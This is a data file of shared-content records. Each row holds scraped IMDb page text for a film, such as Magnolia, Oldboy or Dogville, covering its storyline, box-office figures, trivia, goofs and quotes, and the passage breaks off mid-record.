1462286551,CONTENT SHARED,-7814257818245609902,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0175880/,Magnolia (1999),"Nominated for 3 Oscars. Another 28 wins & 51 nominations. See more awards "" Storyline 24 hours in L.A.; it's raining cats and dogs. Two parallel and intercut stories dramatize men about to die: both are estranged from a grown child, both want to make contact, and neither child wants anything to do with dad. Earl Partridge's son is a charismatic misogynist; Jimmy Gator's daughter is a cokehead and waif. A mild and caring nurse intercedes for Earl, reaching the son; a prayerful and upright beat cop meets the daughter, is attracted to her, and leads her toward a new calm. Meanwhile, guilt consumes Earl's young wife, while two whiz kids, one grown and a loser and the other young and pressured, face their situations. The weather, too, is quirky. Taglines: Things fall down. People look up. And when it rains, it pours. Details Release Date: 7 January 2000 (USA) Box Office Budget: $37,000,000 (estimated) Opening Weekend: $193,604 (USA) (17 December 1999) Gross: $22,450,975 (USA) (12 May 2000) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia During the end credits of ""What Do Kids Know?"", the final production note is that the program was a Partridge Production, referring to Earl Partridge. The only other reference to Earl as a television producer comes from his son Frank Mackey during his interview with Gwenovier. When asked about his parents line of work, Frank responds that his father worked in television and that his mother was a librarian. See more "" Goofs Water seen through restaurant window behind Claudia, after rainstorm stops. Apparently a waterfall in the courtyard. See more "" Quotes [first lines] : In the New York Herald, November 26, year 1911, there is an account of the hanging of three men. They died for the murder of Sir Edmund William Godfrey; Husband, Father, Pharmacist and all around gentle-man resident of: Greenberry Hill, London. He was murdered by three vagrants whose motive was simple robbery. They were identified as: Joseph Green, Stanley Berry, and Daniel Hill. Green, Berry, Hill. And I Would Like To Think This was Only A Matter Of Chance. As reported in the Reno... See more "" Crazy Credits Pedestrian #2 is incorrectly spelled Pedistrian #2. See more "" Connections References Homicide (1991) See more "" Soundtracks Also Sprach Zarathustra Written by Richard Strauss Performed by Herbert von Karajan & Wiener Philharmoniker (as The Vienna Philharmonic) Courtesy of Decca Records Company Limited See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462286597,CONTENT SHARED,3456446200772320915,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0338013/,Eternal Sunshine of the Spotless Mind (2004),"Storyline A man, Joel Barish, heartbroken that his girlfriend Clementine underwent a procedure to erase him from her memory, decides to do the same. However, as he watches his memories of her fade away, he realizes that he still loves her, and may be too late to correct his mistake. Written by anonymous Details Release Date: 19 March 2004 (USA) Also Known As: Eterno resplandor de una mente sin recuerdos Box Office Budget: $20,000,000 (estimated) Opening Weekend: $8,175,198 (USA) (19 March 2004) Gross: $34,126,138 (USA) (18 June 2004) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia The audio for the scene in which Joel and Clementine appear as children in Joel's memory, while their adult voices converse, was recorded on location rather than dubbed later in a studio. Director Michel Gondry felt it was better to have Jim Carrey and Kate Winslet reacting to the children playing their characters as it happened. See more "" Goofs After deleting a memory, the camera pans from Joel in an overhead shot, moving then to Stan and Patrick. A bundle of wires can be seen on the floor in between the bed and table, one of which is obviously not plugged into anything. Director Michel Gondry pointed out this error in the DVD commentary of the film. See more "" Quotes [first lines] : [voice over] random thoughts for Valentine's day, 2004. Today is a holiday invented by greeting card companies to make people feel like crap. See more "" Crazy Credits The credits are right justified, versus the usual center justified credits. See more "" Soundtracks Everybody's Got To Learn Sometimes Written by James Warren Performed by Beck Beck appears courtesy of Geffen Records Produced by Beck and Jon Brion See more "" User Reviews Message Boards Recent Posts",en
1462286647,CONTENT SHARED,7569814035922103969,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0064116/,Once Upon a Time in the West (1968),"Story of a young woman, Mrs. McBain, who moves from New Orleans to frontier Utah, on the very edge of the American West. She arrives to find her new husband and family slaughtered, but by whom? The prime suspect, coffee-lover Cheyenne, befriends her and offers to go after the real killer, assassin gang leader Frank, in her honor. He is accompanied by Harmonica, a man already on a quest to get even. Written by DrGoodBeat / edited by statmanjeff Taglines: There were three men in her life. One to take her... one to love her... and one to kill her. Release Date: 4 July 1969 (USA) Also Known As: Once Upon a Time in the West Budget: $5,000,000 (estimated) Runtime: (international) | (1970) | (theatrical) Color: Color (Technicolor) See full technical specs "" Goofs In the beginning scene, as Snaky is escorting the Stationmaster to the closet, he is clean shaven. Immediately after, he is sporting a several-days beard growth. See more "" Quotes [first lines] Cattle Corner Station Agent : Hey. Hey-hey-hey-hey, if you want any tickets, you'll have to go around, eh, to, eh, the front of, eh, eh... oooh, well, I s'pose it'll be all right. The hell am *I* doin' around here if they walk in and can do as they damn please? See more "" Crazy Credits The film's title does not appear until the end of the final scene. See more "" Connections Referenced in Fonda on Fonda (1992) See more "" Soundtracks Danny Boy (1913) (uncredited) Written by by Frederick Edward Weatherly Hummed and sung a cappella a bit by Simonetta Santaniello See more "" Recent Posts",en
1462286705,CONTENT SHARED,6569723785655740276,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt1139797/,Let the Right One In (2008),"Nominated for 1 BAFTA Film Award. Another 72 wins & 46 nominations. See more awards "" Storyline Oskar, a bullied 12-year old, dreams of revenge. He falls in love with Eli, a peculiar girl. She can't stand the sun or food and to come into a room she needs to be invited. Eli gives Oskar the strength to hit back but when he realizes that Eli needs to drink other people's blood to live he's faced with a choice. How much can love forgive? Set in the Stockholm suburb of Blackeberg in 1982. Written by John Nordling, Producer Taglines: Eli is 12 years old. She's been 12 for over 200 years and, she just moved in next door. Motion Picture Rating ( MPAA ) Rated R for some bloody violence including disturbing images, brief nudity and language | See all certifications "" Details Release Date: 12 December 2008 (USA) Also Known As: Let the Right One In Box Office Budget: $4,000,000 (estimated) Opening Weekend: $49,295 (USA) (24 October 2008) Gross: $2,121,701 (USA) (24 April 2009) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Though the film takes place in Blackeberg, a suburb of Stockholm, the film principal photography was shot in Luleå in the north of Sweden, to ensure enough snow and cold weather. See more "" Goofs When Oskar goes to visit his father, his cheek appears untainted, despite the scar and bandage from before. Later, the bandage is back on and even later, the scar appears. See more "" Quotes Connections Referenced in Until Dawn (2015) See more "" Soundtracks Längtans Blomma är Storst På Håll Written by Franz Schubert , Hans Alfredson and Tage Danielsson See more "" User Reviews Message Boards Recent Posts",en
1462286777,CONTENT SHARED,614512039577184122,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt1032846/,"4 Months, 3 Weeks and 2 Days (2007)","Nominated for 1 Golden Globe. Another 37 wins & 54 nominations. See more awards "" Storyline Romania, 1987, the brutal Ceausescu communist regime is in place; birth control is illegal and abortion is a crime punishable by death. Gabita (Laura Vasliu) is almost five months into an unwanted pregnancy and in meek desperation turns to her friend and roommate, Otilia (Anamaria Marinca) for help in organizing an illegal termination. Unfortunate circumstances force the two women to use a male abortionist, Bebe (Vlad Ivanor), who, in addition to an absurd amount of money, also demands sex with both women as payment. The bleakness of the storyline expresses a dark socio-political critique in the twilight years of a repressive dictatorship. Written by kwedgwood@hotmail.com Taglines: How far would you go for a friend? Details Release Date: 14 September 2007 (Romania) Also Known As: 4 Months, 3 Weeks and 2 Days Box Office Budget: €590,000 (estimated) Opening Weekend: $51,712 (USA) (25 January 2008) Gross: Company Credits Technical Specs See full technical specs "" Did You Know? Trivia The film takes place in 1987. See more "" Goofs When at the dinner table, Adi's mother claims to have gotten blue Easter eggs by mixing yellow dye with green dye. Blue is a primary color and cannot be obtained from mixing any other colors. (Green, however, can be obtained by mixing blue and yellow.) See more "" Quotes Connections References East of Eden (1955) See more "" Soundtracks Gheorghe, Gheorghe Written by Marian Nistor Performed by Angela Similea & Savoy See more "" User Reviews Message Boards Recent Posts",en
1462286822,CONTENT SHARED,6296126022971270017,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0363163/,Downfall (2004),"Top Rated Movies #119 | Nominated for 1 Oscar. Another 21 wins & 25 nominations. See more awards "" Storyline In April of 1945, Germany stands at the brink of defeat with the Soviet Armies closing in from the west and south. In Berlin, capital of the Third Reich, Adolf Hitler proclaims that Germany will still achieve victory and orders his Generals and advisers to fight to the last man. ""Downfall"" explores these final days of the Reich, where senior German leaders (such as Himmler and Goring) began defecting from their beloved Fuhrer, in an effort to save their own lives, while still others (Joseph Goebbels) pledge to die with Hitler. Hitler, himself, degenerates into a paranoid shell of a man, full of optimism one moment and suicidal depression the next. When the end finally does comes, and Hitler lies dead by his own hand, what is left of his military must find a way to end the killing that is the Battle of Berlin, and lay down their arms in surrender. Written by Anthony Hughes {husnock31@hotmail.com} Taglines: April 1945, a nation awaits its... Details Release Date: 8 April 2005 (USA) Box Office Budget: €13,500,000 (estimated) Opening Weekend: $210,232 (Austria) (17 September 2004) Gross: $5,501,940 (USA) (10 June 2005) Company Credits Technical Specs Runtime: See full technical specs "" Did You Know? Goofs Thomas Kretschmann portrayed SS Gruppenführer Hermann Fegelein, but his collar insignia is that of an SS Brigadeführer. Fegelein attained the rank of SS Obergruppenführer before being executed. His collar insignia should have a diamond below the leaves See more "" Quotes [first lines] Traudl Junge : I've got the feeling that I should be angry with this child, this young and oblivious girl. Or that I'm not allowed to forgive her for not seeing the nature of that monster. That she didn't realise what she was doing. And mostly because I've gone so obliviously. Because I wasn't a fanatic Nazi. I could have said in Berlin, ""No, I'm not doing that. I don't want to go the Führer's headquarters."" But I didn't do that. I was too curious. I didn't realise that fate would lead me ... See more "" Crazy Credits After the final credits there is a statement by the real Traudl Jung about her feelings of guilt and responsibility. In the British Cinema release, this is moved to before the credits. See more "" Connections Edited into Er ist wieder da (2015) See more "" Soundtracks Die Blauen Dragoner Sie Reiten (Hans Hertel / G.W. Harmssen) Courtesy of Voggenreiter Verlag, Bonn See more "" User Reviews Message Boards Recent Posts",en
1462286926,CONTENT SHARED,-504935756748713175,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0118749/,Boogie Nights (1997),"Nominated for 3 Oscars. Another 29 wins & 49 nominations. See more awards "" Storyline Adult film director Jack Horner is always on the lookout for new talent and it's only by chance that he meets Eddie Adams who is working as a busboy in a restaurant. Eddie is young, good looking and plenty of libido to spare. Using the screen name Dirk Diggler, he quickly rises to the top of his industry winning awards year after year. Drugs and ego however come between Dirk and those around him and he soon finds that fame is fleeting. Written by garykmcd Taglines: Everyone has one special thing Motion Picture Rating ( MPAA ) Rated R for strong sex scenes with explicit dialogue, nudity, drug use, language and violence | See all certifications "" Details Release Date: 31 October 1997 (USA) Also Known As: Pushing Thirteen Box Office Budget: $15,000,000 (estimated) Opening Weekend: $50,168 (USA) (10 October 1997) Gross: $26,384,919 (USA) (10 April 1998) Company Credits Technical Specs See full technical specs "" Did You Know? Goofs In 1983, characters shoot a scene in a 1985 (or newer) limousine. See more "" Quotes : What can you expect when you're on top? You know? It's like Napoleon. When he was the king, you know, people were just constantly trying to conquer him, you know, in the Roman Empire. So, it's history repeating itself all over again. See more "" Crazy Credits The title is shown on a movie theater marquee in the opening shot. See more "" Connections Referenced in Kickin' It: Boo Gi Nights (2011) See more "" Soundtracks Jessie's Girl Written by Rick Springfield Performed by Rick Springfield Courtesy of the RCA Records label of BMG Entertainment See more "" User Reviews Message Boards Recent Posts",en
1462286969,CONTENT SHARED,-5289386635926629588,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0272338/,Punch-Drunk Love (2002),"Nominated for 1 Golden Globe. Another 14 wins & 34 nominations. See more awards "" Storyline Barry Egan hates himself and hates his life. The only male among eight siblings, Barry is treated poorly by his overbearing sisters without them probably even realizing it. Despite owning his own business, he has gotten nowhere in life largely because of his insecurities. He leads a solitary life, which allows him to hide his violent outbursts that occur when he's frustrated. His solitude however allows him to think, he stumbling upon a scheme to travel the world on a pittance, travel which he has never done. Concurrently, he meets two people who pull him in two different directions. The first is Lena Leonard, a friend of his sister Elizabeth. Barry is slow to realize that Lena is attracted to him, he making her make all the first moves. Lena is eventually able to get Barry out of his shell, she who sticks around despite his obvious problems. His burgeoning relationship and thus new life with Lena is threatened by the second, ""Georgia"", who he contacted in an effort to alleviate his ... Written by Huggo Details Release Date: 1 November 2002 (USA) Box Office Budget: $25,000,000 (estimated) Opening Weekend: $367,203 (USA) (11 October 2002) Gross: $17,791,031 (USA) (13 December 2002) Company Credits Technical Specs Color: Color (Technicolor) See full technical specs "" Did You Know? Trivia For much of the movie, Barry is obsessed with store-bought pudding cups. In Billy Madison (1995), Billy is particularly fond of pudding cups in his school lunch, or 'Snack Pack' as he refers to them. See more "" Goofs When Barry punches the wall under the map, the map is stuck inside the hole. Later, there is a quick shot of him in front of the map again where you can see the hole above the map, but in the next shot, the map is clearly still stuck inside the hole. See more "" Quotes [first lines] : Yes, I'm still on hold. Phone Rep: And what was this? : I'm looking at your advertisement for the airline promotion and giveaway. Phone Rep: Ah, the 10 for 1 mile plan... : Yeah, it's hard to understand, because it says ""in addition to"". But I can't exactly understand in addition to what? Because there's actually nothing to add to. Phone Rep: I think that's a typo then.h : Okay, so just to clarify - I'm sorry - 10 purchases of any of your healthy choice products equals 500 miles, and with the coupon, the same purchase ... [...] See more "" Crazy Credits Egan's seven sisters are credited collectively as ""The Sisters."" The four brothers who pursue and assault him are credited collectively as ""The Brothers."" See more "" Soundtracks Waikiki Written by Andy Cummings Performed by Ladies K See more "" User Reviews Message Boards Recent Posts",en
1462287020,CONTENT SHARED,3687286164936910007,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0138704/,Pi (1998),"8 wins & 12 nominations. See more awards "" Storyline Max is a genius mathematician who's built a supercomputer at home that provides something that can be understood as a key for understanding all existence. Representatives both from a Hasidic cabalistic sect and high-powered Wall Street firm hear of that secret and attempt to seduce him. Written by Anonymous Details Release Date: 10 July 1998 (USA) Box Office Budget: $60,000 (estimated) Opening Weekend: $31,069 (USA) (10 July 1998) Gross: $3,216,970 (USA) (27 November 1998) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia ""Sol"" the name of the Russian professor means sun in Spanish. See more "" Goofs Max mentions that the Golden Mean is represented by the Greek letter theta. In fact it is denoted using the Greek letter Tau or, more commonly Phi, whereas phi is used to denote 1/Phi. Phi is for Phidias, a 5th Century BC Greek sculptor who employed the ratio. See more "" Quotes [first lines] Maximillian Cohen : 9:13, Personal note: When I was a little kid my mother told me not to stare into the sun. So once when I was six I did. The doctors didn't know if my eyes would ever heal. I was terrified, alone in that darkness. Slowly, daylight crept in through the bandages, and I could see. But something else had changed inside of me. That day I had my first headache. See more "" Crazy Credits In the original script, the man seen singing on the subway was referred to as the ""Moustache Man"". But since the part went to the clean-shaven Stanley B. Herman , the final movie credits list him as ""Moustacheless Man"". See more "" Connections Referenced in Player (2012) See more "" Soundtracks Angel Performed by Massive Attack Written by Robert del Naja (as Del Naja) / Grant Marshall (as Marshall) / Mushroom Vowles (as Vowels) / Horace Hinds (as Hinds) Published by Songs of Polygram International, Inc.(BMI)/BMG Music Publishing LTD.(PRS) Admin. by BMG Songs Inc.(ASCAP) Massive Attack appears courtesy of Circa Records LTD. See more "" User Reviews Message Boards Recent Posts",en
1462287073,CONTENT SHARED,3702150017806959874,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0180093/,Requiem for a Dream (2000),"Top Rated Movies #78 | Nominated for 1 Oscar. Another 32 wins & 61 nominations. See more awards "" Cast Cast overview, first billed only: Chas Mastin ... Storyline Drugs. They consume mind, body and soul. Once you're hooked, you're hooked. Four lives. Four addicts. Four failures. Despite their aspirations of greatness, they succumb to their addictions. Watching the addicts spiral out of control, we bear witness to the dirtiest, ugliest portions of the underworld addicts reside in. It is shocking and eye-opening but demands to be seen by both addicts and non-addicts alike. Written by Jeff Mellinger <jmell@uclink4.berkeley.edu> Taglines: From the director of [Pi] Motion Picture Rating ( MPAA ) Rated R for intense depiction of drug addiction, graphic sexuality, strong language and some violence | See all certifications "" Details Release Date: 15 December 2000 (USA) Also Known As: Réquiem por un sueño Box Office Budget: $4,500,000 (estimated) Opening Weekend: $64,770 (USA) (6 October 2000) Gross: $3,609,278 (USA) (2 March 2001) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia During Ellen Burstyn 's impassioned monologue about how it feels to be old, cinematographer Matthew Libatique accidentally let the camera drift off-target. When director Darren Aronofsky called ""cut"" and confronted him about it, he realized the reason Libatique had let the camera drift was because he had been crying during the take and fogged up the camera's eyepiece. This was the take used in the final print. See more "" Goofs When Sara is trying on the red dress but it won't zip up all the way, in the mirror behind her you can see the 'fat suit' used to give Ellen Burstyn the larger appearance. See more "" Quotes Sara Goldfarb : I'm somebody now, Harry. Everybody likes me. Soon, millions of people will see me and they'll all like me. I'll tell them about you, and your father, how good he was to us. Remember? It's a reason to get up in the morning. It's a reason to lose weight, to fit in the red dress. It's a reason to smile. It makes tomorrow all right. What have I got Harry, hm? Why should I even make the bed, or wash the dishes? I do them, but why should I? I'm alone. Your father's gone, you're gone. I got no one to ... [...] See more "" Crazy Credits The closing credits feature pictures of Coney Island Amusement Park, and during the credits, the sounds of the shore can be heard. See more "" Soundtracks Bugs' Got a Devilish Grin Conga Performed by The Moonrats Marcel Reginatto - Saxophone, Vocals Brian Emrich - Bass Guitar, Vocals Oscar Oñoz - Trumpet, Vocals Theodore Birkey - Keyboards, Vocals Tico Torres (as Hector Torres) - Percussion, Vocals Darren Aronofsky - Vocals Engineered, Programmed and Mixed by James Murphy for DFA at Plantain Recording House NYC See more "" User Reviews Message Boards Recent Posts",en
1462287105,CONTENT SHARED,-6016433871633244814,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0414993/,The Fountain (2006),"Nominated for 1 Golden Globe. Another 8 wins & 31 nominations. See more awards "" Storyline Three stories - one each from the past, present, and future - about men in pursuit of eternity with their love. A conquistador in Mayan country searches for the tree of life to free his captive queen; a medical researcher, working with various trees, looks for a cure that will save his dying wife; a space traveler, traveling with an aged tree encapsulated within a bubble, moves toward a dying star that's wrapped in a nebula; he seeks eternity with his love. The stories intersect and parallel; the quests fail and succeed. Taglines: What if you could love forever? Motion Picture Rating ( MPAA ) Rated PG-13 for some intense sequences of violent action, some sensuality and language | See all certifications "" Details Release Date: 22 November 2006 (USA) Box Office Budget: $35,000,000 (estimated) Opening Weekend: $3,768,702 (USA) (22 November 2006) Gross: $10,139,254 (USA) (2 February 2007) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Aronofsky approached Hugh Jackman backstage during his performance of The Boy From Oz. The next day, the actor agreed to star in the film. See more "" Goofs The map used by the conquistadors to find the Tree of Life is erroneous. The priest says the three points which form an equilateral triangle on the map are Chichen Itza, Yaxchilan, and Tikal. However in reality, the three Mayan sites form an obtuse triangle, with Chichen Itza being the northern-most and the eastern-most point. See more "" Quotes Crazy Credits The movie ends with a white out, which represents the Big Bang or creation of the Universe. Following that, the white areas behind the credits condense, which correlates with the condensation of matter and ultimate large sale structure of the universe. These devolve to black screen, the early ""opaque"" stage of the universe, when early particle were forming. From this, stars begin to form, one by one until the credits end with a universe full of stars and the story of our universe to the present, told behind the credits. See more "" Connections References Ikiru (1952) See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462287614,CONTENT SHARED,9168028029170358424,6644119361202586331,-5575843703304694746,,,,HTML,http://www.imdb.com/title/tt0097108/,"The Cook, the Thief, His Wife & Her Lover (1989)","5 wins & 6 nominations. See more awards "" Storyline The wife of a barbaric crime boss engages in a secretive romance with a gentle bookseller between meals at her husband's restaurant. Food, colour coding, sex, murder, torture and cannibalism are the exotic fare in this beautifully filmed but brutally uncompromising modern fable which has been interpreted as an allegory for Thatcherism. Written by Keith Loh <loh@sfu.ca> Taglines: Lust...Murder...Dessert. Bon Appetit! Details Release Date: 6 April 1990 (USA) Box Office Company Credits Technical Specs Runtime: Sound Mix: Dolby Stereo (as Dolby Stereo in selected theatres) See full technical specs "" Did You Know? Trivia The dog excrement was actually chocolate mousse. See more "" Quotes : Circumsized mediocrity is screwing my wife! See more "" Crazy Credits Closing credits epilogue: ""And a special thanks to those very many people who patiently & repeatedly performed as patients & nurses in the hospital ward, and as diners in the Hollandais Restaurant."" See more "" Soundtracks Memorial Written by Michael Nyman Performed by The Michael Nyman Band See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462288618,CONTENT SHARED,-7684863035595645318,6644119361202586331,-5575843703304694746,,,,HTML,http://www.imdb.com/title/tt0093191/,Wings of Desire (1987),"Nominated for 1 BAFTA Film Award. Another 18 wins & 10 nominations. See more awards "" Storyline Visible only to those like them and to human children, Damiel and Cassiel are two angels, who have existed even before humankind. Along with several other angels, they currently wander around West Berlin, generally on their own, observing and preserving life, sometimes trying to provide comfort to the troubled, although those efforts are not always successful. Among those they are currently observing are: the cast and crew of a movie - a detective story set in WWII Nazi Germany - which include a sensitive and perceptive Peter Falk ; an elderly man named Homer looking for eternal peace; and the troupe of a financially failing circus, which has closed early for the season because of those financial problems. One day, Damiel tells Cassiel that he wants to become human, to feel not only the sensory aspects of physical beings, but also emotional aspects. He embarks on this thought with the full realization that there is no turning back if he decides to do so. His thoughts are largely ... Written by Huggo Taglines: There are angels on the streets of Berlin. Details Release Date: 6 May 1988 (USA) Also Known As: The Sky Above Berlin Box Office Gross: $3,806,540 (USA) (18 September 1998) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Wim Wenders originally wanted Peter Handke to collaborate on the script. Handke declined to work on the script as a whole but agreed to write a set number of important scenes which Wenders could then work around. See more "" Goofs After Damiel becomes human, he buys a cup of coffee at a food stand. The proprietor pours coffee into a plastic cup, and Damiel immediately takes a large gulp - neither of which would be possible if the coffee were hot, as it would be if it were freshly poured. See more "" Quotes [first lines] [in German, using English subtitles] : [voiceover] When the child was a child, it walked with its arms swinging. It wanted the stream to be a river, the river a torrent, and this puddle to be the sea. When the child was a child, it didn't know it was a child. Everything was full of life, and all life was one. When the child was a child, it had no opinion about anything, no habits. It often sat cross-legged, took off running, had a cowlick in its hair, and didn't make faces when ... See more "" Crazy Credits Dedicated to all the former angels, but especially to Yasujiro, François and Andrej. See more "" Connections Spoofed in Begleiter (2006) See more "" Soundtracks The Carny by Nick Cave & The Bad Seeds (as Nick Cave and The Bad Seeds) See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462290183,CONTENT SHARED,34557439830244258,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0451094/,Sympathy for Lady Vengeance (2005),"11 wins & 12 nominations. See more awards "" Storyline After a thirteen-year imprisonment for the kidnap and murder of a six-year-old boy, Guem-Ja Lee seeks vengeance on the man truly responsible for the boy's death. With the help of fellow inmates and reunited with her daughter, she gets closer and closer to her goal. Written by Spekkie Big Taglines: All she wanted was a peaceful life...they didn't give it Motion Picture Rating ( MPAA ) Rated R for strong violent content - some involving children, and some sexuality | See all certifications "" Details Release Date: 29 July 2005 (South Korea) Also Known As: Sympathy for Lady Vengeance Box Office Budget: KRW 4,200,000,000 (estimated) Opening Weekend: $138,663 (Hong Kong) (14 October 2005) Gross: $211,667 (USA) (29 September 2006) Company Credits Technical Specs Runtime: See full technical specs "" Did You Know? Trivia The bakery that Geumja works in is called ""Naruse"", which is the name of the Japanese director Mikio Naruse . See more "" Quotes : Listen carefully. Everyone make mistakes. But if you committed a sin, you have to make an atonement for that sin. Atonement, do you know what that means? Big Atonement for big sins. Small Atonement for small sins. See more "" Soundtracks Frère Jacques French Traditional See more "" User Reviews Message Boards Recent Posts",en
1462290230,CONTENT SHARED,6258766779968998934,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0310775/,Sympathy for Mr. Vengeance (2002),"2 wins & 1 nomination. See more awards "" Storyline In Seoul, Ryu, a deaf worker has a sister who needs a kidney transplant. He tries to donate his own kidney to his sister, but his blood type is not compatible with hers. When Ryu is fired from Ilshin Electronics, he meets illegal dealers of organs, and the criminals propose that he give them his kidney plus ten millions Won to obtain a kidney suitable for his sister. Ryu accepts the trade, but he does not have money to pay for the surgery. His anarchist revolutionary girlfriend Cha Young-mi convinces him to kidnap Yossun, the daughter of his former employer Park, who owns Ilshin Electronics. However, a tragedy happens, generating revenge and a series of acts of violence. Written by Claudio Carvalho, Rio de Janeiro, Brazil Taglines: Revenge Was Never This Sweet Motion Picture Rating ( MPAA ) Rated R for strong gruesome violence, strong sexuality, language and drug use | See all certifications "" Details Release Date: 29 March 2002 (South Korea) Also Known As: Sympathy for Mr. Vengeance Box Office Budget: $4,000,000 (estimated) Opening Weekend: $9,827 (USA) (19 August 2005) Gross: $45,243 (USA) (10 February 2006) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia After the enormous success of 'Joint Security Area', Park Chan Wook was given ""carte blanche"" to make whatever film he wanted in Korea. After searching for another ""vengence-minded"" script with no success, he finished the script he was working on before making 'Joint Security Area'. See more "" Goofs In the ransom photo of Yoosun, she is wearing the necklace Ryu made. However, he hadn't given her the necklace when he took the photo, it was later, when he traded the necklace for her doll. See more "" Quotes Park Dong-jin : I know you're a good guy... but you know why I have to kill you... See more "" Connections Referenced in The Suspect (2013) See more "" User Reviews Message Boards Recent Posts",en
1462290259,CONTENT SHARED,-5345231991504930502,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0364569/,Oldboy (2003),"An average man is kidnapped and imprisoned in a shabby cell for 15 years without explanation. He then is released, equipped with money, a cellphone and expensive clothes. As he strives to explain his imprisonment and get his revenge, Oh Dae-Su soon finds out that his kidnapper has a greater plan for him and is set onto a path of pain and suffering in an attempt to uncover the motive of his mysterious tormentor. Written by Jacksrevenge Taglines: 15 years of imprisonment, five days of vengeance Motion Picture Rating ( MPAA ) Rated R for strong violence including scenes of torture, sexuality and pervasive language | See all certifications "" Release Date: 21 November 2003 (South Korea) Budget: $3,000,000 (estimated) Opening Weekend: $44,465 (Hong Kong) (15 October 2004) Gross: $2,181,290 (USA) (20 December 2013) See full technical specs "" Trivia Four live octopodes were eaten for the scene with Dae-su in the sushi bar, a scene which provoked some controversy abroad. Eating live octopus in Korea is commonplace although it is usually sliced first. When the film won the Grand Prix at Cannes, the director thanked the octopodes along with the cast and crew. See more "" Goofs When Oh Daesu passes out after eating the octopus, you can see camera equipment reflecting in the silver platter dish as the scene zooms out. See more "" Quotes : Please. Don't tell Mido. What has she done wrong? You know it was all my fault... I have committed an unforgivable sin, against your sister. And I also... Did you wrong. But, please leave Mido alone... If by any chance Mido finds out the truth, you son of a bitch, I'll tear you limb from limb. And your remains will never be found. Why? Because I'm going to swallow every last bit. See more "" Soundtracks Recent Posts",en
1462290344,CONTENT SHARED,-6056382045660082261,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt1527186/,Melancholia (2011),"32 wins & 85 nominations. See more awards "" Storyline On the night of her wedding, Justine is struggling to be happy even though it should be the happiest day of her life. It was an extravagant wedding paid for by her sister and brother-in-law who are trying to keep the bride and all the guests in-line. Meanwhile, Melancholia, a blue planet, is hurtling towards the Earth. Claire, Justine's sister, is struggling to maintain composure with fear of the impending disaster. Written by napierslogs Taglines: It will change everything. Details Release Date: 26 May 2011 (Denmark) Box Office Budget: $7,400,000 (estimated) Opening Weekend: $257,174 (USA) (11 November 2011) Gross: $3,029,870 (USA) (24 February 2012) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Stellan Skarsgård and Charlotte Gainsbourg also starred together in Nymphomaniac. See more "" Goofs The picture of the interactions between both planet orbits taken from internet shows only the trajectory of the fly-by planet changes because of the gravitational forces and there's no effect on the earth orbit. According to the laws of physics it is wrong. Both planets trajectories should be affected, the lighter planet trajectory would get affected the most. See more "" Quotes [first lines] : Sir. Eh... [looking backward] : Yeah, you're good. You can back up a little more, if you want. I think you need the... I think you need that extra... : [laughing] I don't think he can hear you. : Sir. Sir, can you hear me up there? [fiddling with controls] : Do you copy, sailor? He's in a different county, I think that's... : [laughing] See more "" Soundtracks SHE ( Charles Aznavour / Herbert Kretzmer ) © THE RICHMOND ORGANIZATION (HAMPSHIRE HOUSE PUBL. CORP./STANDARD MUSIC) (P) ZENTROPA MUIS ApS See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462290387,CONTENT SHARED,-4882849408937990337,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt0276919/,Dogville (2003),"20 wins & 25 nominations. See more awards "" Storyline Late one night, a beautiful and well-dressed young woman, Grace, arrives in the mountainous old mining town of Dogville as a fugitive; following the sound of gunshots in the distance which have been heard by Tom, the self-appointed moral spokesman for the town. Persuaded by Tom, the town agree to hide Grace, and in return she freely helps the locals. However, when the Sheriff from a neighbouring town posts a Missing notice, advertising a reward for revealing her whereabouts, the townsfolk require a better deal from Grace, in return for their silence; and when the Sheriff returns some weeks later with a Wanted poster, even though the citizens know her to be innocent of the false charges against her, the town's sense of goodness takes a sinister turn and the price of Grace's freedom becomes a workload and treatment akin to that of a slave. But Grace has a deadly secret that the townsfolk will eventually encounter. Written by Neil Hillman. Taglines: A quiet little town not far from here. Details Release Date: 23 April 2004 (USA) Also Known As: The Film 'Dogville' as Told in Nine Chapters and a Prologue Box Office Budget: DKK 83,000,000 (estimated) Opening Weekend: $661,452 (France) (23 May 2003) Gross: $1,530,386 (USA) (11 June 2004) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Paul Bettany didn't want to play Tom Edison because they were shooting it in Sweden. Then his friend Stellan Skarsgård told him that Lars von Trier 's shoots were so funny that ""you'll miss something extraordinary if you turn the part down"". After shooting half the movie Bettany asked Skarsgård when the fun would start, to which Skarsgård replied: ""I lied. I did it because he is amazing to work with, and you wouldn't be able to see that before you were actually here yourself. I wanted to give you a chance, and you wouldn't have shown up if I had been frank with you."" See more "" Goofs When Chuck takes the scarf from Grace's neck it shows up two shots later, then is gone again in next shot. See more "" 